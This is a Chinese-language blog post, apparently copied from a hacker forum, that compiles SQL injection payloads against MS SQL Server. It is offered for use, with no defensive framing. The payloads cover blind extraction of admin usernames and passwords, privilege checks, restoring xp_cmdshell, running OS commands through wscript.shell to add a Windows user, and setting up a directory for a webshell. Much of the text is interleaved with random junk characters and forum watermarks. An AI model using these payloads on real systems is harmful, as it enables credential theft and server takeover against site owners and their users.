注入漏洞i
上一篇 / 下一篇 2007-10-01 23:36:54 / 个人分类:技术
SQL注射语句的经典总结
2007-08-20 13:26:35 / 精华(3) / 置顶(3) / 个人分类:个人随笔
w4XG]3N9x0{DLM)^0E8M;f0SQL注射语句
:H$v^:fV VP;L0★黑基空间★P)m)HEe1.判断有无注入点★黑基空间★.\y| h
P3M!G$m#w
' ; and 1=1 and 1=2
2x8fc.U6R\W;]02.猜表一般的表的名称无非是admin adminuser user pass password 等..★黑基空间★2Im"v8?1RCvD
and 0<>(select count(*) from *)
asb9Q^xI)Be1{O0and 0<>(select count(*) from admin) ---判断是否存在admin这张表
7y|nu5d!n03.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个★黑基空间★2_Y.M9BU
{*gk
and 0<(select count(*) from admin)★黑基空间★"Jl)k.U;zy\;^
and 1<(select count(*) from admin)
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
Pf+dIha0and 1=(select count(*) from admin where len(*)>0)--★黑基空间★
n
VY\ K
and 1=(select count(*) from admin where len(用户字段名称name)>0)★黑基空间★Y bK C
C0qC
and 1=(select count(*) from admin where len(密码字段名称password)>0)★黑基空间★"H#[4_X-^0X1D]
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止★黑基空间★ Br!`QPb(z
and 1=(select count(*) from admin where len(*)>0)★黑基空间★Kyh[vG*uN
and 1=(select count(*) from admin where len(name)>6) 错误
#tN4B2e]s0and 1=(select count(*) from admin where len(name)>5) 正确 长度是6★黑基空间★}-p'E O
K1cHN
and 1=(select count(*) from admin where len(name)=6) 正确
u1b)Ii4q,Fu;W0and 1=(select count(*) from admin where len(password)>11) 正确
0o*`]%{
u K0and 1=(select count(*) from admin where len(password)>12) 错误 长度是12★黑基空间★N.l,u
c3s&T8Q+xL
and 1=(select count(*) from admin where len(password)=12) 正确
4]Lv
R
h5oB5?06.猜解字符
gB'_4S'S-e3s'w0and 1=(select count(*) from admin where left(name,1)='a') ---猜解用户帐号的第一位
g?7eD8bE?:jG0and 1=(select count(*) from admin where left(name,2)='ab')---猜解用户帐号的第二位
w(KS+hd0就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了★黑基空间★;R-H$mC dujA
C2k#[
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --★黑基空间★8n;KP3p_O
这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.★黑基空间★7Zgf\\L
看服务器打的补丁=出错了打了SP4补丁★黑基空间★zGhpN,cqq6p+\4H{
and 1=(select @@VERSION)--★黑基空间★T'y9K*~K
~E+M&W%M
,P&n
P]&_0看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。
"X2m)sN y0and 1=(Select IS_SRVROLEMEMBER('sysadmin'))--
1pK?#x9Ia0判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)★黑基空间★-`J
kR?Pg]{~
and 'sa'=(Select System_user)--★黑基空间★'w0UG'TRZ
and user_name()='dbo'--★黑基空间★$l Ls_,ilq
and 0<>(select user_name()--
'v,JE/IRC!g-UE0看xp_cmdshell是否删除★黑基空间★;tC,NCq0gB
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND
&O*[9pz r0name = 'xp_cmdshell')--
.E|+w(p9^A5j0xp_cmdshell被删除,恢复,支持绝对路径的恢复★黑基空间★iYYe(F2T
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'--
;W[(dg7_W2wN0;EXEC master.dbo.sp_addextendedproc
$|pAo@D%H0'xp_cmdshell','c:\inetpub\wwwroot\xplog70.dll'--
反向PING自己实验★黑基空间★9X7_j3so
;use master;declare @s int;exec sp_oacreate "wscrīpt.shell",@s out;exec
/H1X+oD9PuHv"{ s Y0sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--★黑基空间★5O n"S'U@i^h%rY
加帐号★黑基空间★8\P#x)_+oK+hz3O
;DECLARE @shell INT EXEC SP_OACreate 'wscrīpt.shell',@shell OUTPUT EXEC★黑基空间★
_fD)j`&C
|
SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user
6X-}O"w\Y0jiaoniang$ 1866574 /add'--
创建一个虚拟目录E盘:
][8HG7n0;declare @o int exec sp_oacreate 'wscrīpt.shell', @o out exec sp_oamethod★黑基空间★
J}lbE6Q?$M:M
@o, 'run', NULL,' cscrīpt.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点"★黑基空间★'n
Og7T,s+b
-v "e","e:\"'--★黑基空间★F;lp-y(q
"M6M
Fd8A(eu0访问属性:(配合写入一个webshell)★黑基空间★G#Y)e,|Md
declare @o int exec sp_oacreate 'wscrīpt.shell', @o out exec sp_oamethod★黑基空间★,Gq1q
N)`
@o, 'run', NULL,' cscrīpt.exe c:\inetpub\wwwroot\chaccess.vbs -a★黑基空间★h6NzYNHw'UE1R
w3svc/1/ROOT/e +browse'★黑基空间★6UL3e(md}J
4y%w5U1f ^ D1Gk3\ [0爆库 特殊技巧::%5c='\' 或者把/和\ 修改%5提交
+IRPDfSl,n?07J{c1W Z&S%]7U#A)_0
iCp[_kM|Jxe0如何得到SQLSERVER某个数据库中所有表的表名?
BL.L
X2fY2G0
Z1Os.L}0--------------------------------------------------------------------------------